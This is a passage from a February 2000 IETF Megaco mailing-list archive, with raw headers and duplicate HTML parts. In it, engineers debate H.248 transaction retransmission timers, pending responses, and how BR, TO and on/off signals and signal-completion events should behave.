    rateif you want to.  If you
    do, you would be expected to increase your
    timeouttime accordingly. 
    Frankly, I think the default is just about right, as there is noreason to expect delays longer than a few times the normal
    time.How is that?Brian
    

      
-----Original Message----- 
From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
      
Sent: Friday, February 04, 2000
      3:05 PM 
To:
      Rosen, Brian 
Cc:
      MEGACO@STANDARDS.NORTELNETWORKS.COM 
Subject: Re: Cisco SG16: Transaction ID
      uniqueness 
 
Brian
      
Questions/comments below
      
-- Flemming 
 
      
"Rosen, Brian" wrote:
      
 
        
MGC               
          MG 
Request ->
          
       
          x-     Pending (now switches to a longer
          timer)
          
[br]Who has the longer timer?  The
          requestor, yes, the responder,
        no

      

Are you saying that the MG will keep bombarding the MGC with
      pending messages until it can send a final one ? That seems rather
      wasteful in terms of both bandwidth and processing. 
 
      

        
 

      

        

          
(lost, so MGC sticks w. normal
          timer)
          
(timeout) 
Request ->    
          (ignore since transaction is currently executing) 
(timeout)) 
Request ->    
          (ignore since transaction is currently executing) 
(timeout) 
Request ->    
          (ignore since transaction is currently executing) 
... 
       <-
          Final 
(finally)
          
[br]I think that you get a pend within the
          normal response.  If you lose the pend, you generate one extra request
          duplicate, but the longer timer
          isn't going to be twice normal time; you simply want to avoid the case
          of the pend timer and the normal response timer being the same value
          and causing extra messages when the requests/responses pass each other
          on the net.  If ALL the pends are lost, you would see the above,
          but you would only get one extra if only the first were
          lost. 

      

I'm not sure I follow any longer. Can you explain the mechanism
      again, perhaps with an example ?
      

        
 

          
 
            
Brian
--
      
--------------------------------------- 
Flemming Andreasen
      
Cisco Systems 
---------------------------------------
    
 

  
-- 
--------------------------------------- 
Flemming Andreasen
  
Cisco Systems 
--------------------------------------- 
 



------_=_NextPart_001_01BF6F52.5BD3F1A2--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 16:45:17 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA11079
	for ; Fri, 4 Feb 2000 16:45:11 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CC5ABA60@standards.nortelnetworks.com>; Fri, 4 Feb 2000 16:42:17 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25762 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 16:41:08 -0500
Received: from mtiwmhc09.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.A2D85AD0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 16:41:08
          -0500
Received: from worldnet.att.net ([12.78.109.48]) by mtiwmhc09.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000204214319.LAOS7433@worldnet.att.net>; Fri, 4 Feb 2000 21:43:19
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF20889F@whq-msgusr-02.fore.com>
Content-Type: multipart/alternative;
              boundary="------------2907720C427139E65276BE5A"
Message-ID:  <389B470E.9832E67A@worldnet.att.net>
Date:         Fri, 4 Feb 2000 16:39:26 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------2907720C427139E65276BE5A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Brian

Please look for FSA below (mail reader acting up here so sorry about the
formatting)

-- Flemming


"Rosen, Brian" wrote:
===============
Since there is no way for the requestor to know how long the responder
will take,
how long should it wait before sending a duplicate request, after it
gets a pend?

Whatever the answer is, that is the rate at which pends have to come.

If the timer is very long, then the timer to clear a missed final
response will be very long


FSA: No. You make sure the final response is transmitted reliably by
requiring it to be acknowledged.

Whatever the timer is, we may have to have repeated pends, and each of
them
will be proceeded by a duplicate request in your proposal.

FSA: Correct

The scheme we have now is just like the one you propose, except that the
pends
come without prompt by the requestor, and the default value of the timer
is short.

FSA: No it's not. With my proposal, I can safely set the timer to say 30
seconds, and still detect a lost final response promptly. If I do
anything of the sort with your proposal, it will be a looooong time
before we recover.

Brian

---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


--------------2907720C427139E65276BE5A
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Hi Brian

Please look for FSA below (mail reader acting up here so sorry about
the formatting)

-- Flemming

 

"Rosen, Brian" wrote:

===============

Since there
is no way for the requestor to know how long the responder will take,

how long should
it wait before sending a duplicate request, after it gets a pend?

Whatever the
answer is, that is the rate at which pends have to come.

If the timer
is very long, then the timer to clear a missed final response will be very
long

 

FSA: No. You
make sure the final response is transmitted reliably by requiring it to
be acknowledged.

Whatever the
timer is, we may have to have repeated pends, and each of them

will be proceeded
by a duplicate request in your proposal.

FSA: Correct

The scheme we
have now is just like the one you propose, except that the pends

come without
prompt by the requestor, and the default value of the timer is short.

FSA: No it's
not. With my proposal, I can safely set the timer to say 30 seconds, and
still detect a lost final response promptly. If I do anything of the sort
with your proposal, it will be a looooong time before we recover.

Brian

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 

--------------2907720C427139E65276BE5A--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 16:45:17 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA11081
	for ; Fri, 4 Feb 2000 16:45:17 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CC9B1EC0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 16:42:18 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25767 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 16:41:35 -0500
Received: from centauri.starcon.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.B2F76640@standards.nortelnetworks.com>; Fri, 4 Feb 2000 16:41:35
          -0500
Received: from dashaus.hothaus.com (g210-hothaus.starcon.com [216.13.167.210])
          by centauri.starcon.com (Post.Office MTA v3.5.3 release 223 ID#
          0-0U10L2S100V35) with ESMTP id com for
          ; Fri, 4 Feb 2000 13:43:43 -0800
Received: by DASHAUS with Internet Mail Service (5.5.2448.0) id ;
          Fri, 4 Feb 2000 13:42:55 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F58.CB44FB60"
Message-ID:  <308148F84AE4D211926D00805F6524585A20ED@DASHAUS>
Date:         Fri, 4 Feb 2000 13:42:54 -0800
Reply-To: Bob Lukas 
Sender: "Media Gateway Control (megaco)"
              
From: Bob Lukas 
Subject:      Re: Cisco SG16: Signals Operation
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F58.CB44FB60
Content-Type: text/plain;
        charset="iso-8859-1"

This would mean that indicators, such as visual message waiting, or other
LEDs (e.g. line key indicator, on-hold indicator, etc), should not be OO
signals, because they would get turned off by the next event. Perhaps a
package should implement these as properties that are set to the desired
state value, rather than signals?

This is different than the proposals in draft-ietf-megaco-ipphone-01.txt and
draft-ietf-megaco-basicpkg-00.txt. There it seems that indicators are trying
to use the signal syntax to set property values.

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
Sent: Friday, February 04, 2000 12:05 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Cisco SG16: Signals Operation



3) OO signals have the following characteristics: they remain on until
interrupted by detection of an event, or receipt of a Signals descriptor
with explicit Off syntax.  Brian's keyword syntax is probably acceptable.
Brian has a query about signal lists.  Is there something about this
proposal that doesn't work given our current signal list text?




------_=_NextPart_001_01BF6F58.CB44FB60
Content-Type: text/html;
        charset="iso-8859-1"




RE: Cisco SG16: Signals Operation




This
would mean that indicators, such as visual message waiting, or other LEDs (e.g.
line key indicator, on-hold indicator, etc), should not be OO signals,
because they would get turned off by the next event. Perhaps a package
should implement these as properties that are set to the desired state value,
rather than signals? 



This is different than the proposals in
draft-ietf-megaco-ipphone-01.txt and draft-ietf-megaco-basicpkg-00.txt. There it
seems that indicators are trying to use the signal syntax to set property
values.



  
-----Original Message-----
From: Tom-PT Taylor
  [mailto:taylor@NORTELNETWORKS.COM]
Sent: Friday, February 04, 2000
  12:05 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject:
  Re: Cisco SG16: Signals Operation


  
3) OO signals have the following
  characteristics: they remain on until interrupted by detection of an event, or
  receipt of a Signals descriptor with explicit Off syntax.  Brian's
  keyword syntax is probably acceptable.  Brian has a query about signal
  lists.  Is there something about this proposal that doesn't work given
  our current signal list text?

  
    
    
     


------_=_NextPart_001_01BF6F58.CB44FB60--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 16:54:52 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA11211
	for ; Fri, 4 Feb 2000 16:54:52 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.344120A0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 16:52:21 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25812 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 16:50:45 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.FAA497A0@standards.nortelnetworks.com>; Fri, 4 Feb 2000
          16:50:44 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 4 Feb 2000 15:52:28 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Fri, 4
          Feb 2000 16:52:13 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VCSAK>; Fri, 4 Feb 2000 16:52:13 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F5A.1827A2B6"
Message-ID:  
Date:         Fri, 4 Feb 2000 16:52:04 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Bob Lukas 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F5A.1827A2B6
Content-Type: text/plain

Your point about properties has been made before.  The IPPhone crowd haven't
been too happy with it, but it does make sense.  Let's see how this thread
spins out.

> -----Original Message-----
> From: Bob Lukas [SMTP:blukas@HOTHAUS.COM]
> Sent: Friday, February 04, 2000 4:43 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Cisco SG16: Signals Operation
>
> This would mean that indicators, such as visual message waiting, or other
> LEDs (e.g. line key indicator, on-hold indicator, etc), should not be OO
> signals, because they would get turned off by the next event. Perhaps a
> package should implement these as properties that are set to the desired
> state value, rather than signals?
>
> This is different than the proposals in draft-ietf-megaco-ipphone-01.txt
> and draft-ietf-megaco-basicpkg-00.txt. There it seems that indicators are
> trying to use the signal syntax to set property values.
>
>       -----Original Message-----
>       From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
>       Sent: Friday, February 04, 2000 12:05 PM
>       To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>       Subject: Re: Cisco SG16: Signals Operation
>
>
>
>       3) OO signals have the following characteristics: they remain on
> until interrupted by detection of an event, or receipt of a Signals
> descriptor with explicit Off syntax.  Brian's keyword syntax is probably
> acceptable.  Brian has a query about signal lists.  Is there something
> about this proposal that doesn't work given our current signal list text?
>
>
>

------_=_NextPart_001_01BF6F5A.1827A2B6
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Cisco SG16: Signals Operation




Your point about =
properties has been made before.  The IPPhone crowd haven't been =
too happy with it, but it does make sense.  Let's see how this =
thread spins out.


    

    -----Original Message-----

    From:   Bob Lukas [SMTP:blukas@HOTHAUS.COM]

    Sent:   Friday, February 04, 2000 4:43 PM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Re: Cisco SG16: Signals =
Operation

    


    This would mean that =
indicators, such as visual message waiting, or other LEDs (e.g. line =
key=A0indicator, on-hold indicator, etc), should not=A0be OO signals, =
because they would get turned off by the next event.=A0Perhaps a =
package should implement these as properties that are set to the =
desired state value, rather than signals? 
    


    This is different =
than the proposals in draft-ietf-megaco-ipphone-01.txt and =
draft-ietf-megaco-basicpkg-00.txt. There it seems that indicators are =
trying to use the signal syntax to set property values.
    

      

      -----Original Message-----
      
      From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.C=
OM]
      
      Sent: Friday, February 04, 2000 12:05 PM
      
      To: MEGACO@STANDARDS.NORTELNETWORKS.COM
      
      Subject: Re: Cisco SG16: Signals Operation
      

      
      

      


      3) OO signals have =
the following characteristics: they remain on until interrupted by =
detection of an event, or receipt of a Signals descriptor with explicit =
Off syntax.=A0 Brian's keyword syntax is probably acceptable.=A0 Brian =
has a query about signal lists.=A0 Is there something about this =
proposal that doesn't work given our current signal list =
text?
      


              =A0

      




------_=_NextPart_001_01BF6F5A.1827A2B6--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 17:01:10 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11439
	for ; Fri, 4 Feb 2000 17:01:09 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0C86BA60@standards.nortelnetworks.com>; Fri, 4 Feb 2000 16:58:24 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25849 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 16:57:05 -0500
Received: from mtiwmhc09.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.DCD7B260@standards.nortelnetworks.com>; Fri, 4 Feb 2000 16:57:04
          -0500
Received: from worldnet.att.net ([12.78.109.48]) by mtiwmhc09.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000204215901.LHQS7433@worldnet.att.net>; Fri, 4 Feb 2000 21:59:01
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: multipart/alternative;
              boundary="------------66E35AE494E67AEE72219792"
Message-ID:  <389B4AA3.D14D0C3B@worldnet.att.net>
Date:         Fri, 4 Feb 2000 16:54:44 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------66E35AE494E67AEE72219792
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Tom

OO signals should not be interrupted by an event, only the explicit
"Off" syntax should have this effect (otherwise we are back to TO
signals with indefinite duration, and semantically there's good use for
something that stays active until explicitly told otherwise, e.g.
consider message waiting indicator)

Regards

        Flemming

Tom-PT Taylor wrote:

>
>
> Digging through the accumulated mass of indented text and comments, I
> think I see two parties agreeing on the following points.
> Unfortunately experience tells me that as soon as we introduce a third
> party the agreements will vanish, but I'll record them here just in
> case a miracle happens.
>
> 1) BR signals have the following characteristics: duration is assumed
> to be known to the MG without explicit MGC input.  Brian wants the
> ability to override duration, and I have no quarrel with that -- the
> only question is the exact mechanism.  The second characteristic is
> that a BR signal is not terminated by the detection of an event.  (But
> BR signals are still terminated by replacement of the Signals
> descriptor??  Any objections here?)
>
> 2) TO signals seem to be fairly well understood.
>
> 3) OO signals have the following characteristics: they remain on until
> interrupted by detection of an event, or receipt of a Signals
> descriptor with explicit Off syntax.  Brian's keyword syntax is
> probably acceptable.  Brian has a query about signal lists.  Is there
> something about this proposal that doesn't work given our current
> signal list text?

> 4) Brian's proposals for completion events probably work for Chip and
> they work for me.  To summarize: the current notifyCompletion
> parameter remains but its significance changes: it is a selector
> (Boolean, default FALSE) and does not actually arm reporting.  There
> is a signal completion event which reports on the completion of any
> signal so flagged, with the identity of the signal as a reporting
> parameter.  QUESTION: should KeepActive default to TRUE for this
> event?  In any case, the signal completion event is invoked in the
> usual way, through an events descriptor.
>
> Open issue: signal failures.  The need for reports of such failures is
> real -- they do happen from time to time.  They happen autonomously,
> which means we either have to have an error method (ServiceChange ?)
> or an event to report them.  The key issue is whether you would need
> to know about ANY failure or only those of selected signals.
>
>      -----Original Message-----
>      From:   Rosen, Brian [SMTP:brosen@FORE.COM]
>      Sent:   Friday, February 04, 2000 2:17 PM
>      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject:        Re: Cisco SG16: Signals Operation
>
>      Comments below
>
>      > -----Original Message-----
>      > From: Chip Sharp [mailto:chsharp@cisco.com]
>      > Sent: Friday, February 04, 2000 12:05 AM
>      > To: MEGACO@standards.nortelnetworks.com
>      > Subject: Re: Cisco SG16: Signals Operation
>      >
>      >
>      > At 08:17 PM 2/2/00 -0500, Tom-PT Taylor wrote:
>      > >
>      > >
>      > >I have every sympathy with your first point -- I couldn't
>      resist the
>      > >temptation to propose a new definition of BR.  The fact is,
>      > the way things
>      > >currently stand, we could abolish the signal type parameter
>      > and it would
>      > >make no difference to the operation of the protocol.  I
>      > suppose we would
>      > >have to define an "infinite" duration to simulate on/off as
>      > currently
>      > >defined, but even that might not be necessary.
>      > >
>      > >Speaking as chair, I suppose I have to say that the null
>      > hypothesis is
>      > >that we stick with our current text.  We have two other
>      alternatives:
>      > >
>      > >(a) New distinctive definitions for BR, TO, OO, with the
>      > understanding
>      > >that the definition of a given signal indicates its default
>      > type, but that
>      > >type can always be overridden by the type parameter.
>      > >
>      > >  - BR duration is assumed to be known to the MG without
>      > explicit MGC
>      > > input.  BR signals can be stopped by detection of events
>      > without the
>      > > KeepActive parameter or by replacement of the current
>      > signal descriptor
>      > > with one not containing the indicated signal.
>      > I would suggest they cannot be interrupted by events. If not,
>      there's
>      > little reason for having them as well as TO signals.
>      It's okay with me
>
>      > >
>      > >
>      > >  - TO duration is given explicitly by the duration
>      > parameter.  A default
>      > > may be provisioned or defined in the package.  TO signals
>      > can be stopped
>      > > by detection of events without the KeepActive parameter or
>      > by replacement
>      > > of the current signal descriptor with one not containing
>      > the indicated signal.
>      > >
>      > >  - OO signals remain active until a signal descriptor with
>      explicit
>      > > turn-off syntax comes into effect (Chip's proposal).
>      > Sounds good.
>      What is the syntax?  Would a parameter do, or do we have to
>      actually have a
>      keyword?  Is there a default?  I propose that we
>      have keywords. Signals{VMButton{ON}}
>      this makes:
>      sigParameter       = sigStream / sigSignalType / sigDuration /
>                      sigOnOFF / sigOther / NotifyCompletion
>      (last element is in debate at the moment)
>      sigOnOff           = OnToken / OffToken
>
>      What happens with signal lists?
>
>      > >
>      > >
>      > >(b) Abolish signal type.
>      > >
>      > >If I see a sudden rush to agreement on something other than
>      > the existing
>      > >text I'll feed it into Geneva.  Otherwise things stay put
>      > and we can try
>      > >again for H.248v2 -- the protocol works as is.
>      > I doubt it. This is such a fundamental property of the
>      > protocol that it is
>      > highly unlikely you would be able it in v2, not least
>      considering the
>      > backwards compatibility restricion on package extensions. I
>      > would suggest
>      > doing it right the first time around.
>      >
>      > Issue update and additions follow below.
>      > >
>      > >
>      > >Comments to the other points follow them.
>      > >-----Original Message-----  From:  Chip Sharp
>      > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000
>      7:59
>      > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
>      >  Cisco SG16:
>      > >Signals Operation
>      >
>      > Section:         7.1.1, second paragraph, last paragraph
>      > Category:     Technical
>      > Issue no.:     14.2
>      > Issue:          The draft text specifies that "Finally, there
>      is an
>      > optional "notifyCompletion" that allows a MGC to request
>      > being notified of
>      > completion of the signal. The value of thi sparameter is a
>      > RequestIdentifier, allowing the MGC to correlate the Notify
>      with the
>      > corresponding signal" and furthermore that "If the MGC
>      requested
>      > notification of completion for a signal, a Notify command
>      > SHALL be sent by
>      > the MG upon completion of that signal. A Notify triggered by
>      > completion of
>      > a signal SHALL NOT affect the state of the eventbuffer or any
>      > active events
>      > descriptor". There is already a mechanism in the protocol
>      > that supports
>      > this functionality, namely events. By using the event
>      > mechanism instead,
>      > the duplication of functionality is avoided, and event
>      > ordering between
>      > "events" and completed signals become trivial - currently they
>      are an
>      > unsolved issue. Furthermore, it is unclear how this behavior
>      > interacts with
>      > the EventBuffer mechanism. For example, if an event has been
>      > notified,
>      > "EventBuffer" is on, and the signal now completes, it seems
>      > inconsistent to
>      > issue another Notify specific to the signal.
>      > Proposal:     It is strongly suggested, that
>      > "notifyCompletion" is replaced
>      > by having the completion of the signal generating an event
>      > (e.g. "signal
>      > complete") instead (notification of which may or may not have
>      been
>      > requested). Furthermore, to account for signal failure, there
>      > should be a
>      > "signal failure" event as well.
>      > Status:
>      I have argued this precise point, and believe that there should
>      only
>      be ONE way to get an event armed and triggered.  I agree that it
>      should be an event.  I specifically proposed that a signal
>      complete
>      event be defined that has a parameter which is the list of
>      signals
>      that it applies to, but it occurs to me that a compromise is to
>      leave the parameter in Signals Descriptor as being a "this is one
>
>      of the signals that the signal complete event applies to", and
>      then
>      the signals complete event has no input parameter, but has an
>      output
>      parameter that specifies which signal completed.
>
>      > >    Section:        7.1.10, fourth paragraph, first
>      > > bullet.  Category:       Technical, Open Issue  Issue:
>      >     The draft
>      > > text defines on/off signals "the signal lasts until it is
>      > turned off",
>      > > however this definition is not clear. Specifically, it is
>      > not  clear if
>      > > an on/off signal is turned off by not being included in a
>      > subsequent
>      > > SignalsDescriptor or if it is turned off by some explicit
>      > action. In the
>      > > latter case, syntax is missing leading one to believe that
>      > the former
>      > > definition is intended. The former definition on the other
>      hand  is
>      > > somewhat problematic and overlaps the definition of time-out
>      > > signals  with an indefinite duration. Consider for instance
>      > a "visual
>      > > message  waiting indicator" defined as an on/off signal.
>      Unless the
>      > > signal is  included in all subsequent SignalsDescritpors,
>      > the indicator
>      > > will be turned  off. The on/off signal type would be more
>      > useful (and not
>      > > a duplicate of  timeout) if this was not the case.  Also,
>      > it should be
>      > > noted, that the more general topic of signal types and  the
>      > details of
>      > > their operation has been the subject of much debate on the
>      > IETF Megaco
>      > > mailing list since the white contribution was developed,
>      > and  that at
>      > > time of writing, no resolution had been found.
>      > >
>      > >Proposal:       It is recommended that the definition of
>      on/off is
>      > >clarified in  accordance with the above and the missing syntax
>      added.
>      > >
>      > >
>      > >v13 Status:     OPEN. No substantial change has been made.
>      >
>      > v14: OPEN. No relevant text changed.
>      > >
>      > >
>      > >Section:        7.1.10, fourth paragraph, second
>      > >bullet  Category:       Technical  Issue:          The draft
>      > text defines
>      > >timeout signals as "the signal lasts until  it is turned off
>      > or a specific
>      > >period of time elapses", however there is no  mechanism
>      > specified for
>      > >informing the MGC when that specific period of time  has
>      > elapsed and thus
>      > >the signal has ended. The MGC may therefore be unable  to
>      > determine if a
>      > >given signal is playing in an MG or not. An example where
>      > this is needed
>      > >is outpulsing with MF Feature Group D trunks where multiple
>      > digit strings
>      > >(address and caller id) need to be outpulsed. MGC needs to
>      > know when
>      > >outpulsing of the first string of digits has occurred before
>      >  requesting
>      > >out-pulsing of the next string.). Another example is a
>      > signal  activated
>      > >through an external event such as user input (by use of an
>      embedded
>      > >signals descriptor).
>      > >
>      > >Proposal:       It is strongly recommended that a mechanism
>      > for notifying
>      > >the MGC  upon timeout signal completion is added, e.g. in
>      > the form of an
>      > >event  ("operation complete"). Furthermore, it should be
>      > considered to add
>      > >another  event that would allow the MGC to be informed if
>      > generation of
>      > >the signal  fails for some reason (e.g. "operation
>      > failure"). It should be
>      > >noted, that  this may happen in the middle of the signals
>      > defined duration.
>      > >
>      > >v13 Status:     OPEN. No substantial change has been made.
>      > >
>      > >[[TomT]]  v14 adds the notifyCompletion parameter for every
>      > signal and
>      > >text on how completions are notified in section 7.2.7.  For
>      > failures we
>      > >have that generic failure event in E.1, but no text on how
>      > to apply it or
>      > >what request ID to use for it.
>      >
>      > v14:    DISAGREE (see issue 14.2). A mechanism has been added.
>      I'd say that the mechanism proposed, or the V14 mechanism does
>      address the completion part.  The error part is V2; should it be
>      an event, or just an error?  How should the error be reported?
>
>      >
>      > Section:         7.1.17
>      > Category:     Technical
>      > Issue no.:     14.3
>      > Issue:          The draft text specifies that "If a Notify is
>      > sent as a
>      > result of a signal completion, the ObservedEventsDescriptor
>      > contains the
>      > name of the signal that completed and the time at which it
>      > completed". Cf.
>      > issue 14.2, this behavior is undesirable and should be
>      > replaced with an
>      > event instead thereby eliminating the need for specifying
>      > this special case.
>      > Proposal: Assuming the proposed resolution to issue 14.2 is
>      > accepted, it is
>      > proposed that the above sentence is deleted.
>      > Status:
>      Since I agree that the mechanism should be an event, I agree
>      with this
>
>      > Section:         7.2.8 (Notify), last three paragraphs
>      > Category:     Technical
>      > Issue no.:      14.5
>      > Issue:          The draft text specifies that "..., or as a
>      result of
>      > completion of a signal for which the MGC requested notification
>      of
>      > completion", and "...or the triggering SignalsDescriptor", as
>      > finally "A
>      > Notify triggered by completion of a signal, contains the
>      > corresponding
>      > signal name in the ObservedEventsDescriptor". However, as
>      > argued in issue
>      > 14.2, this behavior is a special case that is inconsistent
>      > with the general
>      > event handling mechanism, incl. Notifications. If signal
>      > completion was not
>      > designed as a special case (which there is no reason to),
>      > this special case
>      > handling would not be necessary.
>      > Proposal: Assuming the proposed solution to issue 14.2 is
>      > accepted, it is
>      > proposed to remove all of the above text segments.
>      > Status:
>      Ditto
>
>      > >
>      > >
>      > >Section:                12.1.4  Category:       Technical,
>      Open
>      > >Issue  Issue:          The draft text mentions SignalType CN
>      > (Continue),
>      > >however this  SignalType is not defined in Section 7.1.10 on
>      Signals
>      > >Descriptor.  Also, it should be noted, that the more general
>      > topic of
>      > >signal types and  the details of their operation has been
>      > the subject of
>      > >much debate on the  IETF Megaco mailing list since the white
>      > contribution
>      > >was developed, and  that at time of writing, no resolution had
>      been
>      > >found.  Proposal:       It is proposed that SignalType CN is
>      > removed from
>      > >the text.
>      > >
>      > >v13 Status:     OPEN. No text changed.
>      > >
>      > >[[TomT]]  Done.
>      > v14. CLOSED. SignalType CN has been removed.
>      > >    Section:        12.1.4  Category:       Technical, Open
>      > > Issue  Issue:          The draft text specifies that
>      > "Signals that would
>      > > be played with  SignalType BR should have a default
>      > duration"  Again, it
>      > > should be noted, that the more general topic of signal
>      > types and  the
>      > > details of their operation has been the subject of much
>      debate on
>      > > the  IETF Megaco mailing list since the white contribution
>      > was developed,
>      > > and  that at time of writing, no resolution had been
>      > > found.  Proposal:       It is proposed that similar text is
>      > added as for
>      > > signals of  SignalType TO.
>      > >
>      > >v13 Status:     OPEN. No text changed.  [[TomT]]  See
>      > initial comments to
>      > >this message.
>      > v14: OPEN. No text changed.
>      > Support NetAid!  http://www.netaid.org
>      > --------------------------------------------------
>      > Chip Sharp                 Consulting Engineering
>      > Cisco Systems              Telco Bio-region
>      > Reality - Love it or Leave it.
>      > --------------------------------------------------
>      >
>
--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


--------------66E35AE494E67AEE72219792
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Hi Tom

OO signals should not be interrupted by an event, only the explicit
"Off" syntax should have this effect (otherwise we are back to TO signals
with indefinite duration, and semantically there's good use for something
that stays active until explicitly told otherwise, e.g. consider message
waiting indicator)

Regards

        Flemming

Tom-PT Taylor wrote:

 

Digging through
the accumulated mass of indented text and comments, I think I see two parties
agreeing on the following points.  Unfortunately experience tells
me that as soon as we introduce a third party the agreements will vanish,
but I'll record them here just in case a miracle happens.

1) BR signals
have the following characteristics: duration is assumed to be known to
the MG without explicit MGC input.  Brian wants the ability to override
duration, and I have no quarrel with that -- the only question is the exact
mechanism.  The second characteristic is that a BR signal is not terminated
by the detection of an event.  (But BR signals are still terminated
by replacement of the Signals descriptor??  Any objections here?)

2) TO signals
seem to be fairly well understood.

3) OO signals
have the following characteristics: they remain on until interrupted by
detection of an event, or receipt of a Signals descriptor with explicit
Off syntax.  Brian's keyword syntax is probably acceptable. 
Brian has a query about signal lists.  Is there something about this
proposal that doesn't work given our current signal list text?



4)
Brian's proposals for completion events probably work for Chip and they
work for me.  To summarize: the current notifyCompletion parameter
remains but its significance changes: it is a selector (Boolean, default
FALSE) and does not actually arm reporting.  There is a signal completion
